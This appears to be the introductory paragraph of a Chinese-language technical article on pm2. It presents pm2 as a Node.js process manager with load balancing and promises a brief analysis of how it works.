    近年來,大前端和全棧的思潮下,很多公司的項目轉成了node驅動,pm2做為一個帶有負載均衡功能的進程管理器,是眾多公司的主流方案,本文主要在個人的理解下,對pm2的原理進行了淺析